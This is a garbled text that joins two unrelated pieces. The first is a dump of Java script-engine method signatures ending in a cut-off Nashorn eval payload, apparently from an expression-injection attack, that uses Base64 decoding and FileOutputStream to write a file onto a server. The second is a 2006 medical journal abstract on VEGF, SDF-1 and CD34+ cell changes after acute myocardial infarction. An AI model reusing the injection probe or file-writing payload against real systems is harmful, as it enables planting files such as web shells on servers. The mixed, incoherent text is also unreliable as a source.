public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (11): 1637-1640.

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Dynamic changes of plasma VEGF,SDF-1 and peripheral CD34~+ cells in patients with acute myocardial infarction

DENG Zheng-rong1,2,YANG Chun1,MA Ai-qun1,CHEN Xin-yi2,GENG Tao1 1Department of Cardiology,First Hospital of Xi’an Jiaotong University,Xi’an 710061,China;2Department of Cardiology,People’s Hospital of Shaanxi Province,Xi’an 710068,China   

  1. 西安交通大学第一附属医院心内科； 陕西省人民医院心内科； 西安交通大学第一附属医院心内科 陕西西安710061陕西省人民医院心内科； 陕西西安710068； 陕西西安710061；
  • Online:2006-11-20 Published:2006-11-20

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Abstract: Objective To investigate the changes in plasma levels of vascular endothelial growth factor(VEGF) and stromal cell-derived factor-1(SDF-1) and in peripheral CD34+ cells in patients with acute myocardial infarction(AMI),and explore their role in AMI.Methods Enzyme-linked immunoassay(ELISA) was employed for measuring the levels of VEGF and SDF-1 in AMI patients on days 1,3,7,10,and 14 of onset and in normal control subjects.The absolute counts of CD34+ in the peripheral blood were measured on days 1,7,and 14 by flow cytometry in AMI patients,with their myocardial enzyme and troponin I detected and electrocardiography(ECG) and echocardiography(UCG) recorded.Results Peripheral CD34+ cells obviously increased on day 7 after AMI onset(2.35±0.72/μl vs 1.48±0.49/μl,P<0.05).VEGF levels were significantly higher in AMI patients than in the control subjects,reaching the peak level and on day 14(197.56±39.87 vs 53.79±18.12 pg/ml,P<0.01).SDF-1 level obviously decreased on day 1 after AMI onset(1683.12±224.79 vs 2178.67±265.34 pg/ml,P<0.01),followed by gradually increased to the control level.Obvious correlation was noted between the level of VEGF on day 7 and the peak level of peripheral CD34+ cells,and the peak plasma VEGF level was obviously associated with the peak serum CK-MB and troponin I levels.Conclusion The stem cells are mobilized into the peripheral blood in the event of AMI.Obviously increased VEGF level following AMI may persist for at least 2 weeks,whereas SDF-1 level undergoes temporary decrement after AMI.The dynamic changes of VEGF and SDF-1 can be related to the mobilization and homing of the stem cells to the injured myocardium. 

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